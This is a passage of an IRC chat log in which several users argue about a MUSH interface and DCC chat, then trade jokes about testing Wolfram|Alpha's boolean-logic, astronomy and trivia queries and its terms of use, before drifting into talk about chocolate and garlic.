is? 18:36:22 ehird, you seem to do it quite a lot. 18:36:27 ehird: 3,3 is the name of the device 18:36:35 as in, they're the numbers you tell the kernel 18:36:36 " I don't care. I don't care. I don't care. I don't care. I don't care. I don't care. I don't care. I don't care. I don't care. I don't care. I don't care. I don't care." 18:36:36 AnMaster: And as we were taught in school: Two wrongs make a right. 18:36:40 in order to access /dev/zero 18:36:43 AnMaster: that was after you flooded me 18:36:57 I only flood in response to being constantly bugged about something repeatedly. 18:37:05 ehird, Odd definition of flood. 18:37:05 ais523: what do you think its size as reported as? 18:37:10 if you fstat it 18:37:14 it isn't, I don't think 18:37:17 asking nicely until you get an answer != flood. 18:37:25 flood is posting a lot quickly 18:37:28 AnMaster: Nicely? haha 18:37:40 you continually demand an answer from me as if you have some kind of obligation 18:37:40 ehird, the one above wasn't nicely no. 18:37:46 You can't use the st_size as more of a hint what you might be getting from the file, though. 18:37:57 when has repeatedly asking me ever helped AnMaster? 18:38:05 fizzie: Oh? Why not? 18:38:06 Anyway, I can hardly see how it could report a "correct size" for /dev/zero. 18:38:11 fizzie: It's an fstat on an open file. 18:38:14 well, it's infinitely large 18:38:18 ehird, since you seem to be attacking me when I say that MUSH seems boring and I'm not going to look at it again unless these major issues are addressed. 18:38:28 ehird: Someone could still write more into it. 18:38:31 AnMaster: it's that we don't think they're major issues 18:38:33 AnMaster: I was mimicing your whining. 18:38:39 ais523, that is subjective. 18:38:49 ehird, whining is wrong word. 18:38:59 You acted, AnMaster, as if you have a sense of entitlement to have these "bugs" fixed. You called them—objectively—bugs. You acted in a way that would suggest you'd "want your money back". 18:39:00 in fact, you're complaining about intended behaviour 18:39:07 This is called "unreasonable", and I mocked it. 18:39:08 bbl, got more interesting stuff to do. 18:39:19 fizzie: Well, true. 18:39:25 fizzie: It's such a pain to reallocate, though. 18:39:26 -!- Judofyr has joined. 18:39:27 ais523, Like the horrible messy interface. That is hard to read. 18:39:34 right. Intended feature. 18:39:37 maybe you need glasses, AnMaster 18:39:41 well 90% of all UIs are bad. True. 18:39:43 it isn't perfect but it's easy to read. 18:39:44 AnMaster: it's intended for streaming onto a client, I think 18:39:49 it's exactly the same as IRC over telnet 18:39:52 just with less metadata 18:40:23 ais523, yes. But why did he make it available over DCC then without adding that translation 18:40:36 Because it's a quick hack? 18:40:51 Since obviously Egobot acts as a gateway/proxy there 18:40:59 No, it doesn't. 18:41:02 translating to another protocol. 18:41:05 No, it doesn't. 18:41:06 beh, Wolfram Alpha fails on "turing machine 596440" 18:41:10 GregorR-L, then it should. 18:41:11 which I'd expect it to be good at 18:41:13 The DCC chat protocol is telnet. 18:41:38 ais523: what about 2,3? 18:41:47 ehird: I tried that search term too 18:41:52 wtf 18:41:53 but there are lots of 2,3 turing machines around 18:41:54 W|A can't handle (p and ~q and ~r and s) or (~p and q and ~r and s) or (p and ~q and r and ~s) or (~p and q and r and ~s) 18:41:57 but it can handle similar things 18:41:57 I tried, it no worky :PP 18:42:08 The DCC chat protocol is Telnet with metadata over IRC. 18:42:12 Get it right. ;) 18:42:12 it helps to specify which 18:42:15 pikhq: are you sure? 18:42:20 pikhq: Oooooh :P 18:42:28 oh 18:42:31 I thought you meant 18:42:34 W|A: "universal turing machine" => "Computability: Additional functionality for this topic is under development... Leave your email address to be notified whan it is ready." 18:42:34 the dcc chats itself had metadata 18:42:37 those are just raw telnet 18:42:37 ehird: The connection is negotiated via IRC. 18:42:47 ais523: any idea why my query doesn't work? 18:43:38 ehird: yes, Wolfram Alpha doesn't have a special case for that yet 18:43:54 ais523: no, but, seriously; shorter forms using the same variables work 18:44:11 for instance, "p and ~q and ~r and s" works 18:44:17 is it timing out? 18:44:24 nope 18:44:27 ais523: (p and ~q and ~r and s) or (~p and q and ~r and s) also works 18:44:31 but the longer form — bzzt 18:45:06 ais523: [ Infrastructure for this computation provided by Wolfram|Alpha launch partner Dell, Inc. ] 18:45:13 Dell are on crack 18:45:29 "(p and ~q and ~r and s) or (~p and q and ~r and s) or (q and p and r)" also works, but not if you add the missing "and s" to that last group. 18:45:44 fizzie: that's truly bizarre 18:45:46 Curious limit-a-tron. 18:46:01 -!- kar8nga has joined. 18:46:02 i mean, i was starting to have fun! 18:46:03 fizzie, indeed. 18:46:25 Maybe their logic-circuit drawing tool would start to overheat at that point. 18:46:37 Or they couldn't figure out how to do the Venn diagram any more. 18:46:50 ais523: I figured out what the math-or-math thing means 18:46:50 I'm trying to get it to give me the life expectancy in Europe in the middle ages, and it times out :P 18:46:59 click use as referring to math and you get: 18:47:00 http://www.wolframalpha.com/input/?i=p+implies+%28not+q+or+r%29&a=*C.or-_*InfixFunctionOperator-&a=ListOrTimes_Times 18:47:05 click again and you get 18:47:05 http://www.wolframalpha.com/input/?i=p+implies+%28not+q+or+r%29&a=*C.or-_*MathOperator-&a=ListOrTimes_Times 18:47:10 so it's infix function operator vs math operator. 18:47:17 a mathematical distinction, probably 18:47:36 er 18:47:37 mathematica 18:47:39 *yikes 18:47:43 I almost turned into wolfram there 18:48:06 Wolfram|Alpha isn't sure what to do with your input.Tips for good results » 18:48:06 Related inputs to try: 18:48:07 life expectancy in Europe the middle ages more... 18:48:09 gregorr: 18:48:13 Will you give me free Mathematicas then? 18:48:14 where life expectancy in Europe is separate from the other 18:48:17 ehird: p&&(!q||(!r&&(p&&q))) = p&&(!q||(!r&&q)) = p&&(!q||!r) 18:48:28 oerjan: oh, how boring :-D 18:48:29 We’ve always thought that Mathematica was an increasingly development environment. 18:48:39 ais523: they accidentally the adjective 18:48:42 hm 18:48:49 no, he accidentally the adverb 18:48:50 Slereah: whut? 18:48:52 The whole adjective? 18:48:53 ais523: no 18:48:58 ais523: "increasingly powerful development environment" 18:49:01 oh, right 18:49:02 yes 18:49:02 advert 18:49:03 ehird : If you are now Wolfram 18:49:04 b 18:49:08 thougth you said verb 18:49:13 ehird: Did you not notice the "p&&(!q||!r)" form in the "minimal forms" table? 18:49:31 fizzie: Yyeeeeeeeeeeeeeesssss... 18:49:39 GregorR-L: middle+ages+life+expectancy+in+europe doesn't work either 18:50:31 ehird: i did not look at the page, actually *ducks* 18:50:57 argh 18:50:57 european life expectancy in middle ages 18:50:58 doesn't work either 18:51:01 even though each part does 18:51:10 ah wai 18:51:11 t 18:51:11 life expectancy in middle ages 18:51:13 doesn't work 18:52:04 GregorR-L: I guess they don't have the data 18:52:08 The nonsensical "middle europe the middle of the" gets input interpretation "Europe | center coordinates | Europe | center coordinates" but no results. 18:52:48 "middle europe the middle of the" is hilarious and I don't know why 18:53:16 * ehird asks european bulldogs' wingspan 18:53:42 (p and ~q and ~r and s) or (~p and q and ~r and s) or (p and ~q and r and ~s) or (~p and q and r and ~s) works now! 18:53:46 ^_^ 18:54:00 ehird: I think it's Cuiled 18:54:09 ais523: whadya mean 18:54:11 which is like being slashdotted, but instead of timing out, you randomly return worse results 18:54:14 ah 18:54:21 not worse results, I think 18:54:22 which is what happened to Cuil, and everyone thought it was rubbish 18:54:22 just incomplete 18:54:25 yes 18:54:29 i'm having quite a fun time with this, actually 18:54:36 it's good if you don't use it for what wolfram wants you to 18:55:14 wtf 18:55:18 I fixed it to as-in-math 18:55:20 and it chopped my input 18:55:22 which is like being slashdotted, but instead of timing out, you randomly return worse results <-- that makes a bad impression. Important rule: Always make it time out or display an error message in case of failure. 18:55:23 oh, maybe i'd just entered it 18:55:24 and not searched 18:55:36 AnMaster: it doesn't make a bad impression in normal usage 18:55:37 AnMaster: well, cuil /did/ make a bad impression 18:55:41 some results are better than an error 18:55:44 it isn't nearly as bad as everyone thought it was 18:55:45 ais523, that is what I said! 18:59:52 Height of the tallest tree is 0.86 times the length of Noah's Ark; that's useful information if anything. 19:00:43 I did know that football fields and such are generally used as human-grokkable size units, but I didn't know Noah's Ark even had a well-defined length. (300 cubits.) 19:00:48 length of jesus 19:00:54 Interpretation: Jesus | runtime 19:01:02 Result: 117 minutes (1 hour 57 minutes) 19:01:05 Assuming Jesus (1979) | Use Jesus (2000) instead 19:01:13 LMAO 19:01:13 The third and fourth comings, clearly. 19:01:26 The year 2000 Jesus runs for 240 minutes. It's a much improved version. 19:01:30 "Genres drama | family" 19:01:52 "box office total $43,124" 19:01:57 Jesus in 1979 was wildly popular. 19:02:20 jesus height 19:02:21 ehird: Well, "height of Jesus" => "Interpretation: Jesus, Itapua, Paraguay | elevation" => 221 metres. 19:02:24 yeah 19:02:27 i was about to say 19:02:27 :-D 19:02:41 221 metres, no wonder He made quite an impression. 19:02:46 X-D 19:02:57 how tall's christ the redeemer? 19:03:07 BTW, making TinyMUSH spew colors and/or at least highlights = wowzersdifficult. 19:03:11 38 meters high 19:03:17 it's the miniature version 19:04:06 the issue seems to be is that it has no idea his height 19:04:06 ooh 19:04:13 this is contravarsial 19:04:18 it places his date of birth as 4 BC 19:04:38 pikhq: as a christian, what is your stance on that? :-P 19:04:46 I have no idea how accurate Alpha's data is 19:04:53 if it got Jimbo's birthdate wrong, what else could be wrong? 19:04:58 it also spells bethlehem as Bayt Lahm, which while correct is amusing 19:05:00 (I reported the error to Alpha, btw, to see what happened) 19:05:04 ais523: click source information 19:05:10 primary source: Wolfram|Alpha 19:05:10 ehird: I did 19:05:13 secondary: lots 19:05:14 yes 19:05:17 ais523: i mean on http://www.wolframalpha.com/input/?i=jesus+christ 19:05:21 ehird: ... That's controversial? 19:05:23 including Wikipedia and the Encyclopedia Britannica 19:05:33 pikhq: it isn't? Wasn't he born - yknow - 1 AD? 19:05:45 it's slightly worrying that they list the Encyclopedia Britannica 1911 as a source for Jimbo's birth 19:05:49 ais523: :DD 19:05:50 ehird: I though that it was fairly well-known that 1 AD was the wrong date, and we only use it because of tradition. 19:06:07 pikhq: I will never understand religion. 19:06:50 This isn't even a case of religion. 19:06:59 This is a case of dating methods. 19:07:01 That's all. 19:07:24 pikhq: ah, so the stance is "4 BC was called 1 AD when the bible was written"? 19:07:42 or sth 19:07:50 er, i wrote that wrong 19:07:55 whatever, infer the correct meaning :^) 19:08:25 No, the stance is rather "in the middle ages, we though Jesus was born 1 AD, so we stuck that as the calendar's epoch. As it turns out, we had the wrong date. Too late to change the epoch." 19:08:47 Our current dating system didn't exist during Christ's lifetime, you see. ;) 19:08:56 i just don't understand how both "the people who wrote the bible were wrong about stuff" and "the bible is the true word of God" can co-exist 19:08:59 Distance to the moon / height of mt everest = 45296 19:09:25 Uhhhh, there's no mention of BC or AD in the Bible ... 19:09:33 ehird: There weren't many specific dates in the Bible itself. 19:09:35 GregorR-L: thus my phrasology 19:09:42 19:07 ehird: er, i wrote that wrong 19:09:42 19:07 ehird: whatever, infer the correct meaning :^) 19:09:54 I have no idea what the correct meaning is :P 19:09:59 The dating itself is from 400 AD and later. 19:10:02 yeah well that's your problem GregorR-L :) 19:10:02 There just was no exact date in the Bible, so they guessed. 19:10:24 And as it turns out, they were off by a few years. 19:10:57 w|a doesn't know what christianity is 19:10:59 That's about as controversial in Christian circles as whether or not Christ was born. :p 19:11:03 Average distance to Jupiter in lightminutes = 41.26 19:11:04 although it knows it's in the category religion 19:11:29 -!- kar8nga has quit (Remote closed the connection). 19:13:15 I'm trying to make it give me a plot of the distance to Jupiter now, and it's failing :P 19:13:25 GregorR-L: plot of what 19:13:42 ...... the distance to Jupiter. Over time. 19:13:50 Over time. Right. 19:14:00 GregorR-L: Over time of what? 19:14:06 I'm trying to get you to be specific to W|A here ;-) 19:14:14 Time ... of what? 19:14:23 GregorR-L: What, exactly, do you want plotted? 19:14:39 The distance from Earth to Jupiter over ANY period of time. 19:14:46 From earth. To jupiter. There you go. 19:15:01 GregorR-L: try "plot distance to jupiter from earth over 2007 to 2008" 19:15:06 http://www.justin.tv/clip/2dd6b9f07e7f8a4e the same guy is still standing up 19:15:45 ehird: I tried something very similar before, and that now, and neither work. 19:16:03 GEEZE WOLFRAM ALPHA GIMME DA PLOTS 19:16:06 Oh well, fudge with the input. 19:16:22 GregorR-L: start simple and build up 19:16:34 I've tried tons of things, I'm out of ideas :P 19:16:42 GregorR-L: "distance to jupiter" infers "from earth" 19:16:43 that's a start 19:16:54 Yes, I've got all that, that's dull. 19:17:03 * ehird tries distance to jupiter 19:17:06 LOL 19:17:19 GregorR-L: "distance | from to Jupiter, Florida, United States" 19:17:19 err 19:17:23 * ehird tries distance to jupiter, 2007 to 2008 19:17:23 It is hard to get it to understand "distance to Jupiter" without it interpreting the distance part as "current distance from Earth". 19:17:24 that is 19:18:28 Hmm, "distance to jupiter 1999" works; "input interpretation: Jupiter | current distance from Earth | 1999" and "Result on Jan 1, 1999: 5.171 AU". 19:18:34 Hard to get plots out of it though. 19:18:51 * ehird asks distance+to+jupiter+2007+to+2008 19:18:56 Argh. 19:18:59 Tried that 19:19:01 {2007 distance | from to Jupiter,Florida,United States,2008 distance | from to Jupiter,Florida,United States} 19:19:15 Jupiter is in Florida? 19:19:23 distance to jupiter 2007, 2008 19:19:23 6.173 AU (astronomical units) | 2008 19:19:24 almost... 19:19:27 ais523: indeed! 19:19:33 "Distance to jupiter since 1900" gives the distance to Jupiter in 1900 from the town Since, Colombia 19:19:39 :-D 19:19:40 haha 19:20:15 6.173 AU (astronomical units) | 2008 19:20:18 er 19:20:20 distance to jupiter in 2007 and 2008 19:20:23 interprets and as logical and 19:20:52 http://www.wolframalpha.com/input/?i=distance+to+jupiter+in+2007%2C+distance+to+jupiter+in+2008 19:20:56 manual! 19:21:17 http://www.wolframalpha.com/input/?i=why+did+the+chicken+cross+the+road%3F 19:21:47 GregorR-L: wait, it plots functions 19:21:58 Yeah, I'm tring plot distance to Jupiter at time x 19:22:04 * ehird tries plot distance to jupiter x from x=1900 to 2008 19:22:05 Deewiant : kekeke 19:22:12 plot | Lysithea | current distance from Earth | x = 1900 to 2008 19:22:14 WHAT 19:22:38 * ehird tries with parens 19:22:41 plot (distance to jupiter in x) from x=1900 to 2008 19:22:43 not understood 19:22:44 butt 19:23:55 england to england works, england to england via australia doesn't :-( 19:24:28 http://www.wolframalpha.com/input/?i=england+to+jupiter+by+plane NOT FLORIDA AGAIN! 19:26:25 That doesn't make sense 19:26:32 Of course 19:26:34 There is no constant distance between the two 19:26:46 That's why we're plotting it over time. 19:26:55 Or trying to 19:27:18 7.8 hours? 19:27:26 That's a pretty good time for Jupiter 19:28:12 I really think this is entirely incapable of giving me the plot I want. 19:29:57 Also how do you even calculate the geodesic from England to Jupiter? 19:30:00 Straight line? 19:32:51 http://www.wolframalpha.com/input/?i=JFK+to+Newark+by+plane 19:32:56 145 seconds! INTOLERABLE 19:36:06 W|A can't figure out someone's lifespan 19:41:36 wtf 19:41:37 "age when john f kennedy died" works 19:41:41 without anything before it 19:41:48 ais523: W|A can infer more context than humans.. 19:41:49 . 20:03:44 So BTW, all the commands at the login screen work, they're just case sensitive (like it says they are) 20:16:02 http://www.wolframalpha.com/input/?i=%28%28p+and+q%29+and+%28%28r+xor+%7Es%29+and+t%29%29+or+%28%7Ep+and+%7Et%29 20:16:09 most fucked up expression ever? 20:16:13 that venn diagram is fun 20:16:20 it's a butterfly, one of its wings is highilghted 20:16:22 *highlighted 20:28:32 145 seconds! INTOLERABLE <-- that seems way way too low 20:30:54 I challenge you all: 20:31:12 Find the Wolfram Alpha boolean expression giving the most hideously complex logic circuit you can. 20:31:15 ais523: GregorR-L: you're on. 20:31:26 Find the Wolfram Alpha boolean expression giving the most hideously complex logic circuit you can. <-- cool idea 20:32:24 AnMaster: erm, JFK and Newark are in the same city iirc 20:32:50 (that being new york) 20:32:55 oerjan, ah. Even so it doesn't make much sense since an aircraft can't reach top speed right away. 20:33:05 take off, landing and so on 20:33:12 you could easily do it in 145 seconds 20:33:14 in a rush 20:33:59 That isn't allowed though. There is this check list thing before you take off. And then you need to wait for take off/landing permissions and so on. 20:34:10 AnMaster: it's by plane 20:34:13 not by plane legally 20:34:19 or by plane according to standard regulations 20:34:44 AnMaster: oh, a rule for the competition: if there's a minimal form that gives a simpler logic circuit, you're out 20:34:45 ehird, even so, for so short distances the take off time is a significant portion of it 20:35:23 ehird, and you can't speed up to max speed that fast. Nor can you fly at the max speed at low level. Learn the difference between IAS, TAS and GS 20:35:52 ehird, I'm not entering that competition 20:36:08 k 20:38:39 ehird, what about (p and q) or (p and (not p or s) and (not r or q or (not q and t))) and (not t) though 20:39:08 though, the nand form may be easier 20:39:33 Sorry, Wolfram Alpha is temporarily unavailable. Please try again. 20:39:33 Error: DataPacletFilter: Unable to get Connection Too many connections 20:39:35 AnMaster: the (p&&q)||(p&&!r&&s&&!t) form of that has a simpler circuit 20:39:35 heh 20:39:46 the idea is to get an actual operation that's hard in a logic circuit 20:39:48 try using loads of variables 20:39:52 -!- sebbu2 has joined. 20:40:46 Wolfram|Alpha isn't sure what to do with your input. 20:40:47 what 20:40:50 (p and q) or (p and (not p or s) and (not r or q or (not q and t))) and (not t) or (a and not (not b or c)) 20:40:53 it didn't like that 20:40:54 meh 20:40:55 AnMaster: "and not" 20:40:58 use ~ instead of not 20:40:59 and more parens 20:41:10 ehird, what do you mean "and not"? 20:41:10 AnMaster: btw, I win 20:41:12 http://www.wolframalpha.com/input/?i=a+or+b+nor+c+xor+d+nand+e+xor+f+and+g+or+e 20:41:16 arguably, that's cheating 20:41:21 AnMaster: from your thing: "or (a and not (not b or c))" 20:41:26 and not is probably tripping it up 20:41:33 ehird, why is that 20:41:38 because its parser sucks 20:41:45 ehird, and yes yours is cheating 20:41:55 let's say: only p to s 20:42:00 er, wait 20:42:03 p,q,r,s 20:42:03 right 20:42:05 ehird, I'm not going for it 20:42:13 boring 20:42:21 so boring that you attempted it 20:42:34 ehird, yes, and while doing that i found out it was boring 20:43:05 ehird, I fail to see what you mean with your comment above 20:43:16 what 20:43:22 sounds boring != is boring 20:43:27 you can't know without testing it 20:43:29 true 20:44:05 http://www.wolframalpha.com/input/?i=And%5BOr%5BNand%5Bp%2CXor%5Bq%2Cr%5D%5D%2Cs%5D%2Cp%5D 20:44:06 i win 20:45:24 what a weird shape for a Venn diagram 20:45:30 I'm not playing though 20:45:39 hey guys, AnMaster isn't playing 20:45:40 ais523, there is no such diagram there? 20:45:41 did you notice? 20:45:47 -!- cherez has joined. 20:45:54 ehird, so who did you win against 20:45:56 -!- cherez has left (?). 20:46:01 the world 20:46:02 AnMaster: there is, but not all the page will load if Alpha is busy 20:46:07 ais523, aha 20:46:23 there is no logic circuit either 20:46:27 for me 20:46:45 ais523, can you upload a screenshot 20:46:54 that would not be worth it 20:47:00 just try again when they are less busy 20:47:07 ais523, tried 5 times already 20:47:27 strangely they did not magically get less busy 20:48:04 fun fact: nand(p,xor(t,nor(p,t))) is nand(p,t) 20:50:58 ais523: how do you think I should ask it about the forall/implies logic? 20:51:11 I think it will fail 20:51:17 but I might be wrong 20:51:20 three progress bars slowly crossing 20:51:21 why 20:51:35 nothing at all apart from that now 20:51:58 FAQ: "Should I cite Wolfram|Alpha when I use results from it? Yes. For academic purposes, Wolfram|Alpha is a primary source." 20:52:03 20:51 kyevan: ehird: Eh, why? 20:52:04 20:51 kyevan: Also, ehird: SINE MISSES YOU 20:52:05 20:51 ehird: kyevan: Well, t'was done when Arc came out. I am become Haskell, destroyer of egos. 20:52:07 20:51 ehird: Also, aagh! 20:52:09 fizzie: hAhahaha 20:52:32 IDGI 20:52:44 AnMaster: which one 20:52:45 sine or fiz 20:52:49 sine 20:53:00 or rather 20:53:06 what you want "aagh" over 20:53:32 ehird, what channel btw 20:53:54 AnMaster: That was in #haskell, and if you don't know what Sine is, you could try asking someone who does. 20:54:07 ehird, I know what the sine function is 20:54:14 but I don't see the joke anyway 20:54:17 Nothing to do with that. 20:54:22 ehird, then what 20:54:37 http://www.wolframalpha.com/input/?i={x|x+not+in+x} 20:54:42 Damn you Wolfram 20:54:47 Why won't you understand me 20:55:44 Slereah, isn't that Russell's paradox? 20:57:04 -!- sebbu has quit (Success). 20:57:13 Yes 20:58:17 why does wolfram alpha has a control room that is mentioned whenever it times out 20:58:27 AnMaster: why not? 20:58:33 it's a bunch of people looking at figures and laptops 20:58:35 live feed 20:58:44 ehird, it isn't like it is NASA. 20:58:53 AnMaster: do not underestimate Wolfram's ego. 20:59:00 Live feed? 20:59:04 ah yes, to him it *is* rocket science 20:59:07 Can they make an erotic dance? 21:01:45 ok: http://www4a.wolframalpha.com/Calculate/MSP/MSP4883195gc302i3ag9ae1000057gfdb6c7cbg6h08?MSPStoreType=image/gif&s=47 21:01:49 that is curious 21:01:57 I agree ais523 21:02:13 AnMaster: you agree with what? 21:02:22 ehird, that it is curious 21:02:33 "Boolean operator number" 21:02:35 hm 21:02:37 what is that 21:02:42 * AnMaster googles 21:02:56 No results found for "Boolean operator number". 21:02:57 AnMaster: wolfram's thing. 21:03:07 mostly it = the 1d cellular automata number 21:03:10 if it's simple enough 21:03:17 ehird, oh right, his fixation with numbers 21:03:21 or rather 21:03:25 with numbering things 21:03:29 Also no result for kolmogorov machine :( 21:03:38 Slereah, try google! 21:03:39 nor even turing machine 21:03:42 ehird: "If you are under age 18 you may use Wolfram|Alpha only if you have permission from a parent, legal guardian, or teacher." I assume you've taken care of this? 21:03:50 fizzie: Wow, now that's retarded. 21:03:53 err, how do they enforce that? 21:03:58 It's right there in the Terms of Use. 21:04:01 Let's just say I teach myself things and thus am a teacher of me. 21:04:07 what terms of use? 21:04:10 I have indeed given myself permission to use Wolfram Alpha. 21:04:13 AnMaster: "Wolfram|Alpha" 21:04:15 If you continue to use it, you're assuring them you're either 18 or have the required permissions. 21:04:25 ehird, yes, but where is the hidden link 21:04:46 ehird : Are you your own parent? 21:04:49 AnMaster: It's at least in the FAQ. 21:04:58 (The link, that is.) 21:05:05 "These terms are a contract you have to agree to before using the Wolfram|Alpha service. " 21:05:10 Also why the 18+ limit? 21:05:12 how can they manage that, if most people never read them? 21:05:16 they don't even have a clickthrough 21:05:23 and because people below 18 can't legally agree to contracts 21:05:44 http://www.wolframalpha.com/input/?i=porn 21:05:45 There's also a terms of use link at the bottom of the front page, though it's not very visible. 21:05:55 It does link to "child pornography" rather quickly 21:06:31 Haha, the continuation of that part is even better. 21:06:35 "By using the service you are telling us either that you are over age 18 and legally able to form contracts, or that an adult with authority to act on your behalf has agreed to these terms and to be responsible for ensuring your compliance with them in your use of the service and any results you obtain from it. If you don't want to be bound by these terms, do not use the service or its results. However, you may want to consider one of our paid subs 21:06:36 cription options, which offer modified terms of use that may be more desirable to you." 21:06:46 "If you're not old enough, you can just pay us." 21:07:07 ais523, I only found out that google had terms of use after several years of using it 21:07:10 too hidden as well 21:07:43 "If you make results from Wolfram|Alpha available to anyone else, or incorporate those results into your own documents or presentations, you must include attribution indicating that the results and/or the presentation of the results came from Wolfram|Alpha." 21:07:50 ais523: :_D 21:07:51 oh no, they have the odious Mathematica advertising clause in Alpha too 21:07:51 :-D 21:08:01 ais523, what is that clause 21:08:31 ehird: Besides, your little competition might have violated the terms too. "Any attempt to use a robot, script, or *organized group of humans* [emphasis mine] to repeatedly access Wolfram|Alpha -- is strictly forbidden." 21:08:39 fizzie: :-D 21:08:42 Maybe we're too disorganized to count, though. 21:08:53 "The specific images, such as plots, typeset formulas, and tables, as well as the general page layouts, are all copyrighted by Wolfram|Alpha at the time Wolfram|Alpha generates them." <--- is that even legal? 21:09:11 ais523, it can't be. 21:09:18 ais523: If Wolfram|Alpha is sentient, why not? :p 21:09:27 ais523, where is the advert clause you mentioned 21:09:31 I can't find what you mean 21:09:42 second para of "Attribution and Licensing" 21:10:52 A list of suggested citation styles and icons is available here. 21:10:54 "If any provision of the Terms of Use is held to be invalid or unenforceable, such provision shall be deemed superseded by a valid enforceable provision that most closely matches the intent of the original provision, and the remaining provisions shall continue in full force and effect." 21:10:54 great 21:11:15 wtf, their lawyers have taken the standard severability clause much further 21:11:25 if the contract is invalid, it rewrites itself so that it's valid 21:11:31 that's a lot more ridiculous than just severability 21:11:44 ais523: HHAHAHA 21:12:37 "Spidering, data-mining, scraping, or probing Wolfram|Alpha, or otherwise attempting to abuse the service, is not only a violation of these terms but may also constitute violation of federal and state laws concerning unauthorized access to computer systems." 21:12:38 um 21:12:42 and they have no robots.txt 21:12:47 hilarious 21:12:51 -!- Judofyr has quit (Remote closed the connection). 21:12:52 they should sue Google 21:13:10 ais523, who will just say "use robots.txt" 21:13:43 You are also not permitted to stick frames around Wolfram|Alpha (no matter how clearly you point out that it's not part of your site or any such thing) without their express permission. 21:13:56 they're trying to ban all sorts of things 21:13:57 fizzie, I don't see why I should it 21:14:05 that clearly wouldn't work as an EULA, but they're trying to make it work as a contract 21:14:07 I don't want their messy web page 21:14:09 without any explicit way to agree to it 21:14:17 ais523, that doesn't work 21:14:24 "These terms are a contract you have to agree to before using the Wolfram|Alpha service." <-- factually incorrect 21:14:34 because clearly, lots of people have used it without reading them 21:14:37 yep 21:14:47 and I'm not going to use it again. 21:14:58 err, why not? 21:15:01 apart from it sucking 21:15:10 ehird, read above? 21:15:19 21:14 ais523: "These terms are a contract you have to agree to before using the Wolfram|Alpha service." <-- factually incorrect 21:15:21 therefore, they don't apply 21:15:24 last I looked google's TOS was at least unusually sane. 21:15:39 though that was a few years ago 21:15:44 ehird: I suspect their lawyers have gone mad 21:15:57 Well, Google has a cached copy of http://www.wolframalpha.com/ so I'm sure they've violated at least some of them. It's been automagically crawled, for one thing, and the cached copy is "surrounding" it with some own material. 21:16:02 yes 21:16:35 someone should report this to wolfram alpha just to see how they react when they realise what happened. 21:16:37 or to google 21:16:43 better do it to google 21:17:05 because then wolfram alpha might get mad when it isn't listed in google any more 21:17:14 hilarity ensues (sp?). 21:17:28 in fact en*sue*s 21:19:52 ennnnnnnnsus 21:20:25 Haha, a green. 21:37:18 -!- oerjan has quit ("Good night"). 21:44:54 -!- FireFly has quit ("Later"). 21:45:14 -!- FireFly has joined. 21:46:25 -!- calamari has joined. 21:46:59 wolfram alpha is kind of lam. 21:47:01 lame, even. 21:48:15 -!- calamari has left (?). 21:48:17 it's kind of lamb 21:59:22 lamb is so tasty 21:59:24 but veal is not 22:09:19 especially with garlic! 22:09:34 99% of all food can only be improved by adding more garlic 22:10:06 99% of all food can only be improved by adding more garlic 22:10:15 the remaining 1% hm... Well gralic icecream... It is a chance in a million, but it might just work! 22:10:19 somehow, I'm surprised you have that opinion 22:10:23 you in particular, that is 22:10:30 s/opinion/onion/ 22:10:30 I've eaten garlic ice cream. 22:10:31 It's good. 22:10:37 and 100% of all food can only be improved by adding more bacon 22:10:37 GregorR, interesting 22:10:43 additionally, 100% of all food can only be improved by adding more chocolat 22:10:44 e 22:10:45 ais523, that I love garlic? 22:10:50 The only thing that can't be improved by adding garlic is those things that have already had too much garlic added :P 22:10:56 and in case you think that's contradictory: 22:10:58 it's my religion. 22:11:02 ehird, Dark chocolate? 22:11:06 Like no suggar 22:11:15 sugar* 22:11:36 AnMaster: Why, chocolate is chocolate; even the foulest of chocolates is an improvement— white "chocolate", of course, not counting as chocolate— and beyond that it is up to your own tastes. 22:11:37 That's some awfully dark dark chocolate :P 22:11:41 or the more common milk chocolate 22:11:43 Dark chocolate means no milk. 22:11:53 Bittersweet chocolate means no milk, little sugar. 22:11:57 Baker's chocolate means no sugar. 22:11:58 Bacon, however... 22:12:10 People who strip the fat of bacon are evil agents of the End Times. 22:12:12 white "chocolate" > brown chocolate 22:12:14 *off 22:12:14 IMO 22:12:17 Also, milk chocolate is garbage. 22:12:21 And white chocolate is megagarbage. 22:12:23 People who strip the fat of bacon are evil agents of the End Times. <-- I hate fat bacon 22:12:29 And dark chocolate is dark bliss. 22:12:35 AnMaster: Dude, it's just yuck without the fat. 22:12:36 And bittersweet chocolate is even better. 22:12:46 GregorR-L: I have some 80% chocolate 22:12:47 GregorR, too dark chocolate tastes foul IMO 22:12:49 It is quite awful 22:12:51 Well 22:12:54 It's not awful 22:12:55 god 22:12:58 It just doesn't taste like chocolate 22:13:00 GregorR, a healthy dose of sugar is needed! 22:13:03 wolfram alpha must either have some very interesting AI 22:13:03 ehird: 80% is awesome! 22:13:05 You can buy 100% chocolate; I would like some. 22:13:14 ehird: 100% is baker's chocolate, it's terrible. 22:13:21 ehird, don't eat it. I tried it. 22:13:23 once 22:13:23 or some very VERY laboriously laid out data and query interpretation 22:13:30 GregorR-L: Not that 100% 22:13:31 ehird: 80% is the peak for me. Beyond that it gets worse in either direction. 22:13:39 You can buy 100% from Lindt for human consumption. 22:13:43 Or is it 99%? 22:13:45 GregorR, probably 60% for me. 22:13:46 Whatever, that sort of number. 22:13:47 It's 99% 22:13:52 Yeah. 22:13:54 I've had that :P 22:13:55 I wanna try it. 22:14:00 From Gherrideli (sp) too. 22:14:01 I haven't tried it. 22:14:03 I hear that it's totally different to chocolate. 22:14:03 It's not great :P 22:14:11 As in, it's more a sort of spicy flavour than a chocolatey one 22:14:20 It's not awful It just doesn't taste like chocolate 22:14:24 for white chocolate 22:14:25 agreed. 22:14:38 quite good. 22:14:47 anyway nougat rules them all 22:15:24 the light brown kind of nougat 22:16:37 -!- ineiros_ has joined. 22:17:25 http://sv.wikipedia.org/wiki/Fil:Nougat_sweets.jpg <-- that looks tastey 22:18:19 brb 22:18:39 ais523, and why are you surprised that I like garlic. 22:19:03 -!- ineiros has quit ("leaving"). 22:19:21 AnMaster: a huge preference for one particular food sounds more like oklopol or ehird than you 22:19:24 -!- ineiros_ has changed nick to ineiros. 22:19:36 ais523, you know "autocondimentor"? From TP. 22:20:12 ais523, I'm not *quite* that, but I tend to add garlic flavoured herb salt (I don't know if it is called that in English) to most meals. 22:20:39 We just say "garlic salt", but it's probably the same. 22:20:48 GregorR, it has more than just garlic in it 22:20:54 lots of other herbs too 22:21:06 There are lots of garlic salts with more than just garlic :P 22:21:11 that is, unless I have fresh herbs at home here. 22:21:17 GregorR, what about garlic salts 